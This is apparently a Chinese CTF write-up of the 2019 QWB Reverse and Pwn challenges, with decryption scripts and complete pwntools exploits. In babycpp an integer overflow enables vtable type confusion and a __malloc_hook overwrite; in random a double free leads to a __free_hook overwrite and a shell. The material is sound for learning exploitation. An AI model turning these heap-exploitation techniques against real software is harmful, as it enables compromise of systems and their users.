返回介绍

2019 强网杯 writeup 之 PWN+Reverse 部分

发布于 2022-11-26 19:43:20 字数 28631 浏览 0 评论 0 收藏 0

Reverse

JustRe

1.程序主要逻辑:

输入为26个字符,过两个check即可得到flag:

2.check1:

把前8个字符转成4字节16进制:“12345678” ---> 0x12345678

同理下面代码不贴出来了,把第9、10个字符同样转成1字节16进制。

接下来是一系列sse指令操作,伪代码中v21是输入的第9-10位,v9是第1-8位

这段代码是实质是 根据输入v21与v9 把0x405018处的0x40字节解密

接下来是一个循环操作:

v3是输入的1-8位,v11是9-10位,根据v3与v11 将0x405058处8个dword(0x20)的数据依次解密。

上面那些操作实际上完成了对0x405018-0x405078一共0x60字节数据的解密操作。

然后就是比较了,将0x405018与0x404148处的前0x60字节数据进行比较,若相同就将0x404148处的数据copy入0x405018

这就是第一个check,将代码自修改,为第二个check做准备。

Py对上面的循环 v3与v11约束条件爆破,得到输入的前10位

loc_405058=(0x1e47913f,0x1e87963c,0xfa0b0acd,0x035b0958,0xf5e74cf4,0xfa1261dc,0x854b2f05,0xf852ed82)


loc_404188=(0x24448840,0x24848d4c,0x000001fc,0x0f50006a,0x1c244411,0x000f58e8,0x8d406a00,0x02482484)


flag=0x10

table = '0123456789'
for i1 in (table):
    print i1
    for i2 in (table):
        print "eee= " +i2
        for i3 in table:
            for i4 in table:
                for i5 in table:
                    for i6 in table:
                        for i7 in table:
                            for i8 in table:
                                for i9 in table:
                                    for i10 in table:
                                        tmp = i1+i2+i3+i4+i5+i6+i7+i8
                                        ReR = int(tmp,16)
                                        ReL = int((i9 + i10),16)

                                        for i  in range(8):
                                            if ( (flag+ReR)^((0x1010101 * ReL +loc_405058[i])&0xffffffff)== loc_404188[i]):
                                                flag=flag+1
                                            else:
                                                flag=0x10
                                                break
                                        if (flag==0x18):
                                            print "flag :  " +i1+i2+i3+i4+i5+i6+i7+i8+i9+i10

得到flag前10位 1324220819

3.check2

IDA 现在无法反编译sub_4018A0()为伪代码,可以用winhex直接修改exe,手动把 sub_4018A0() 处的字节覆盖为新函数的字节。

再反编译

对输入分组 8字节一组 补齐24字节,填充模式为:PKCS5 (padding的字节数目为8-(x%8))

进行了根据经验有点像des加密,多次des加密,猜测是3des加密。

然后加密结果与 507ca9e68709cefa20d50dcf90bb976c9090f6b07ba6a4e8 比较(后面8字节为填充字节的加密结果)

动态调试时获取的192位的密钥 AFSAFCEDYCXCXACNDFKDCQXC

在线解密

得到后16位输入 0dcc509a6f75849b

再加上前10位 flag = 13242208190dcc509a6f75849b

bingo

下载链接

webassembly

在本地搭了一个www服务器动态调试,使用了WABT: The WebAssembly Binary Toolkit 反编译wasm文件找到main函数在func16

func15为加密与验证函数,在里面得出flag为38位

常量delta=0x9e3779b9猜测是xtea加密

将明文前32位分四组迭代了32次分别进行xtea加密,动态调试分析到key=[0,0,0,0] 最后结果与固定常量异或求和。

Py脚本:

key = [0,0,0,0]
def xtea(rounds,v,key):
    v0 = v[0]
    v1 = v[1]
    delta = 0x9e3779b9
    sum = delta*rounds
    sum = sum & 0xffffffff
    for i in range(rounds):
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3])
        v1 = v1 & 0xffffffff
        sum -= delta
        sum = sum & 0xffffffff
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3])
        v0 = v0 & 0xffffffff
    v[0] = v0
    v[1] = v1


data = [183,-1,28,-19,30,11,115,8,122,-33,-78,29,-83,-22,-26,-96,-94,83, 23,-110,58,63,-16,-58,-6,68,-40,-98,82, 123,-128,48,98,98,99,98,57,125]
#print len(data)
for i in range(len(data)):
    data[i] = data[i] & 0xff

cipher = []
for i in range(0,len(data)-9,4):
    data2 = data[i]<<0
    data2 = data2 | (data[i+1]<<8)
    data2 = data2 | (data[i+2]<<16)
    data2 = data2 | (data[i+3]<<24)
    cipher.append(data2)

flag = ''

for i in range(0,len(cipher),2):
    de = []
    de.append(cipher[i])
    de.append(cipher[i+1])
    xtea(32,de,key)
    for j in range(0,len(de)):
        flag += hex(de[j])[2:-1].decode('hex')[::-1]

for i in range(len(data)-6,len(data)):
    flag += chr(data[i])

print flag

下载链接

Pwn

babycpp

bin和idc文件下载

有两种类型可以选择创建,一种str,一种int

分析出的结构体


struct Node{
    void * vtable;    
    char hash[16];   // init -> "\x00"
    _QWORD size;    // init -> 0x10
    _QWORD *content; // init -> malloc(0x80)
}

struct obj{
  char * data
  _QWORD size;
}

该程序在update_hash处,存在漏洞点。

unsigned __int64 __fastcall update_hash(Node *a1)
{
  int offset; // [rsp+10h] [rbp-20h]
  int v3; // [rsp+14h] [rbp-1Ch]
  int i; // [rsp+18h] [rbp-18h]
  int v5; // [rsp+1Ch] [rbp-14h]
  char hash[8]; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  memset(hash, 0, 8uLL);
  printf("Input idx:", 0LL);
  scanf("%u", &offset);
  printf("Input hash:");
  v5 = read(0, hash, 0x10uLL);
  v3 = abs(offset) % 15;
  for ( i = 0; i < v5; ++i )
  {
    if ( v3 + i == 0x10 )
      v3 = 0;
    a1->hash[v3 + i] = hash[i];
  }
  return __readfsqword(0x28u) ^ v7;
}

abs(offset) % 15 语句是为了获取用户输入的偏移量,又防止用户输入超长度偏移量进行溢出攻击。但offset如果设置0x80000000时,当计算绝对值,变成正数之后,存在整数溢出,这条语句执行的结果就变为0xfffffff8,突破了原有的限制,可以进行向上溢出,溢出对象的vtable位置。通过这个漏洞可以将对象的vtable地址进行修改。

利用方式:

1.类型混淆,将str类型对象的vtable改成int类型的vtable,后3byte不同,1/16的正确几率。

2.str转 int 的vtable后 ,调用int对象的show函数可泄露content中的堆地址。

3.调用int_set,更改conten中的堆地址为 含有vtable地址的堆地址,再将对象int转换回str,调用str对象的show函数 泄露vtable地址,并计算出got表地址。

4.将str转int,调用int_set,在content中伪造obj结构(void *data=malloc_hook,QWORD size=0x8),再在content中添加一指针指向该伪造的结构。再将int转str,调用str_set,设置content中的那个指针(指向伪造的obj结构),实现往malloc_hook写one_gadget.

EXP:


from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./babycpp")

libc = ELF('./libc-2.27.so')

one_off=0x4f322
setvbuf_off=libc.symbols['setvbuf']
malloc_hook_off=libc.symbols['__malloc_hook']

def g(p):
    gdb.attach(p)
    raw_input()

def new_str():
    p.recvuntil("choice:")
    p.sendline(str(0))
    p.recvuntil("choice:")
    p.sendline(str(2))

def set_int(hash, idx, val):
    p.recvuntil("choice:")
    p.sendline(str(2))
    p.recvuntil("hash:")
    p.send(p64(hash))
    p.recvuntil("idx:")
    p.sendline(str(idx))
    p.recvuntil("val:")
    p.sendline(hex(val))

def show(hash, idx):
    p.recvuntil("choice:")
    p.sendline(str(1))
    p.recvuntil("hash:")
    p.send(p64(hash))
    p.recvuntil("idx:")
    p.sendline(str(idx))


def set_str(hash, idx, size, content, is_new=True):
    p.recvuntil("choice:")
    p.sendline(str(2))
    p.recvuntil("hash:")
    p.send(p64(hash))
    p.recvuntil("idx:")
    p.sendline(str(idx))
    if is_new:
        p.recvuntil("obj:")
        p.sendline(str(size))
        p.recvuntil("content:")
        p.send(content)    
    else:
        p.recvuntil("content:")
        p.send(content)


def update_hash(old, idx, content):
    p.recvuntil("choice:")
    p.sendline(str(3))
    p.recvuntil("hash:")
    p.send(p64(old))
    p.recvuntil("idx:")
    p.sendline(str(idx))
    p.recvuntil("hash:")
    p.send(content)


## leak heap address 
new_str()
set_str(0, 0, 0x10, '1'*0x10)
update_hash(0, 0x80000000, '\xe0\x5c')   #change to int 
show(0, 0)

p.recvuntil('The value in the array is ')
heap_addr = int('0x' + p.recv(12), 16)
print "heap_addr= "+hex(heap_addr)

## leak vtable address  ->  leak got address
heap_bin=heap_addr-0xc0
set_int(0, 0, heap_bin)
update_hash(0, 0x80000000, '\x00\x5d')  #change to str

show(0, 0)
p.recvuntil('Content:')
vtable_addr = u64(p.recv(6).ljust(0x8,"\x00"))
print "vtable_addr= " +hex(vtable_addr)
got_addr=vtable_addr+0x2011E0
print "got_addr= " + hex(got_addr)

## leak libc address
update_hash(0, 0x80000000, '\xe0\x5c') #change to int
heap_bin=heap_addr-0xc0+8
set_int(0, 0, heap_bin)
update_hash(0, 0x80000000, '\x00\x5d') #change to str
update_hash(0, 0, p64(got_addr))

show(got_addr,0)
p.recvuntil('Content:')
libc_addr = u64(p.recv(6).ljust(0x8,"\x00"))-setvbuf_off
print "libc= " +hex(libc_addr)

malloc_hook=libc_addr+malloc_hook_off
one=libc_addr+one_off

## set content -> fake obj heap  //  write one_gadget in __malloc_hook
update_hash(got_addr,0,p64(0))

update_hash(0, 0x80000000, '\xe0\x5c') #change to int
set_int(0, 0, malloc_hook)
set_int(0, 1, 0x8)
set_int(0, 2, heap_addr-0x90)

update_hash(0, 0x80000000, '\x00\x5d')  #change to str
set_str(0, 2, 0, p64(one), is_new=False)

## getshell 
p.recvuntil("choice:")
p.sendline(str(0))
p.recvuntil("choice:")
p.sendline(str(2))

p.interactive()

random

这个程序难在逆向,它的结构略复杂,逻辑非常绕,不容易找到利用点。

源程序和我分析并标记出的symbols见https://github.com/yxshyj/project/tree/master/pwn/random

1.预测rand

首先为了方便我们后续理清楚程序逻辑,应该做的就是预测rand,该程序中种子是固定0,所以每次的随机数都是可预测的 ,代码如下

    int i, tmp;
    char *str[4] = {"add", "update", "delete", "view"};
    srand(0);
    for(i = 0; i < 50; i++)
    {
        tmp = rand() % 4;
        printf("%d : %s\n", i + 1, str[tmp]);
    }

结果:

1 : view
2 : delete
3 : update
4 : view
5 : update
6 : view
7 : delete
8 : add
9 : update
10 : update
11 : delete
12 : view
13 : delete
14 : view
15 : view
16 : delete
17 : add
18 : delete
19 : add
20 : add
21 : view
22 : add
23 : view
24 : update
25 : delete
26 : delete
27 : delete
28 : view
29 : view
30 : view
31 : update
32 : delete
33 : delete
34 : delete
35 : update
36 : view
37 : update
38 : add
39 : view
40 : delete
41 : update
42 : update
43 : update
44 : view
45 : add
46 : update
47 : delete
48 : add
49 : view
50 : delete

2.分析出的结构体

struct NODE{

NODE *next_node;
void *func_ptr;
long long flag;

}

3.关键函数分析

add_node函数:单向的节点插入,head指向刚插入的节点。

void *__fastcall add_node(__int64 a1, int a2)
{
  NODE *node; 

  node = (NODE *)calloc(1uLL, 0x18uLL);
  node->flag = a2;                           
  node->func_ptr = a1;                          
  node->next_node = head;                     
  head = node;
  return 0;
}

程序的核心函数我暂且叫它 call_list 函数:从head节点依次释放掉链表中节点,之后call节点里面的函数指针。

_QWORD *__fastcall call_list(int a1)
{
  _QWORD *result; 
  NODE *ptr; 
  NODE *next;
  NODE *v4; 
  void (__fastcall *v5)(NODE *);

  if ( head )
  {
    ptr = (NODE *)head;
    v4 = (NODE *)head;
    do
    {
      while ( ptr->flag != a1 )
      {
        v4 = ptr;
        result = (_QWORD *)ptr->next_node;
        ptr = (NODE *)ptr->next_node;
        if ( !ptr )
          return result;
      }
      v5 = (void (__fastcall *)(NODE *))ptr->func_ptr;
      if ( ptr == (NODE *)head )
      {
        head = ptr->next_node;
        v4 = (NODE *)head;
        next = (NODE *)head;
      }
      else
      {
        v4->next_node = ptr->next_node;
        next = (NODE *)ptr->next_node;
      }
      free(ptr);
      v5(ptr);    //call func_tr
      ptr = next;
    }
    while ( next );
  }
  return 0;
}

功能函数add

int add()
{
  char v0; // ST06_1
  void *v1; // rax
  char v2; // ST07_1
  signed int i; // [rsp+8h] [rbp-8h]

  puts("Do you want to add note?(Y/N)");
  v0 = getchar();
  LODWORD(v1) = getchar();
  if ( v0 == 'Y' )
  {
    for ( i = 0; i <= 14; ++i )
    {
      v1 = (void *)chunk[2 * i];
      if ( !v1 )
      {
        puts("Input the size of the note:");
        LODWORD(v1) = sub_DE7();
        if ( (signed int)v1 > 0 && (signed int)v1 <= 0x3F )
        {
          chunk[2 * i + 1] = (signed int)v1;
          chunk[2 * i] = malloc((signed int)v1 + 1);
          puts("Input the content of the note:");
          sub_D61((_BYTE *)chunk[2 * i], chunk[2 * i + 1]);
          puts("success!");
          puts("Do you want to add another note, tomorrow?(Y/N)");
          v2 = getchar();
          LODWORD(v1) = getchar();
          if ( v2 == 'Y' )
            LODWORD(v1) = (unsigned __int64)add_node((__int64)add, 2);
        }
        return (signed int)v1;
      }
    }
  }
  else
  {
    v1 = &unk_2030E0;
    --unk_2030E0;
  }
  return (signed int)v1;
}

4.漏洞点

1.main函数中,可以泄露栈上残留的程序基地址。

puts("Please input your name:");
read(0, name, 24uLL);
v3 = strdup(name);
srand(unk_203178);
set_run_func(sub_11D6, 1);
printf("How many days do you want to play this game, %s?\n", v3);

2.正常call_list函数调用完之后,链表会被清空,head会指向NULL,但是如果我们在执行add函数时,在最后一步add another note,这会导致一个结果:那就是call_list函数调用完之后,链表不为空,head指针会指向新添加的node,且该node的next指针 指向一个已经被释放的node。

如果我们再次循环add_node,再调用call_list,在清空链表的过程中就会造成 double_free.

3.由于我们之前预测了rand,我们可以预测输入对应的程序执行流程。根据这个,我们利用double free控制qword_203180处的堆指针,改ptr为got表view()泄露libc,改ptr为free_hook再update()往free_hook写入one_gadget.

详细过程见exp

EXP

from pwn import *
#author : b0ldfrev   
#blog : b0ldfrev.top
#context(os='linux', arch='amd64', log_level='debug')

p = process('./random')

elf = ELF('./random')
libc = ELF('./libc-2.23.so')

def g(p):
    gdb.attach(p)
    raw_input()

def add(size, content, another):
    p.recvuntil('?(Y/N)\n')
    p.sendline('Y')
    p.recvuntil('Input the size of the note:\n')
    p.sendline(str(size))
    p.recvuntil('Input the content of the note:\n')
    p.send(content)
    p.recvuntil('Do you want to add another note, tomorrow?(Y/N)\n')
    if(another):
        p.sendline('Y')
    else:
        p.sendline('N')

def update(index, content):
    p.recvuntil('?(Y/N)\n')
    p.sendline('Y')
    p.recvuntil('Input the index of the note:\n')
    p.sendline(str(index))
    p.recvuntil('Input the new content of the note:\n')
    p.send(content)

def delete(index):
    p.recvuntil('?(Y/N)\n')
    p.sendline('Y')
    p.recvuntil('Input the index of the note:\n')
    p.sendline(str(index))

def view(index):
    p.recvuntil('?(Y/N)\n')
    p.sendline('Y')
    p.recvuntil('Input the index of the note:\n')
    p.sendline(str(index))

def no(num):
    for i in range(int(num)):
        p.recvuntil('?(Y/N)\n')
        p.sendline('N')

## leak image_base_addr

p.recvuntil('Please input your name:\n')
p.send('a' * 8)
p.recvuntil('a' * 8)

image_base_addr = u64(p.recv(6).ljust(8, '\0')) - 0xb90
print 'image_base_addr: ' + hex(image_base_addr)

p.sendline('30')

## do double free

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('8')  # 8 add
add(17, '\n', True) # index 0
no(7)

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('7') # 15 view
no(7 + 2)

## continue malloc to control 

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('2') # 17 add
add(0x21,'\n', False) # index 1  // fake_chunk->size
no(1)

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('2') # 19 add
offset = 0x203180
add(17, p64(image_base_addr + offset+0x10) + '\n', False) ## index 2  // set double_free_chunk -> attack_address(qword_203180 +0x10)
no(1)

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('1') # 20 add 
add(17, "1111111\n", False)  # index 3  // fake_chunk's next_chunk->size ,prevent error when free fake_chunk

## do some padding and free one chunk in order to align fast_bin to 10

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('6')  
no(6)

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('1')  
delete(0)

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('1') # 28 
no(1)

## malloc to (qword_203180 +0x10) and fill ptr into got

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('10')  # 38 add -> update -> view -> update -> delete -> delete -> delete -> update 
add(17, p64(image_base_addr + elf.got['puts'])+p64(0x11) + '\n', False) # index 0
no(1)

## leak libc address and fill __free_hook into one_gadget

view(2)
libc_base_addr = u64(p.recv(6).ljust(8, '\0')) - libc.symbols['puts']
print 'libc_base_addr: ' + hex(libc_base_addr)
one_gadget=libc_base_addr+0x4526a
update(0, p64(libc_base_addr + libc.symbols['__free_hook'])+p64(0x11) + '\n')
no(3)
update(2, p64(one_gadget) + '\n')

## while free(node) ,get shell

p.interactive()

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文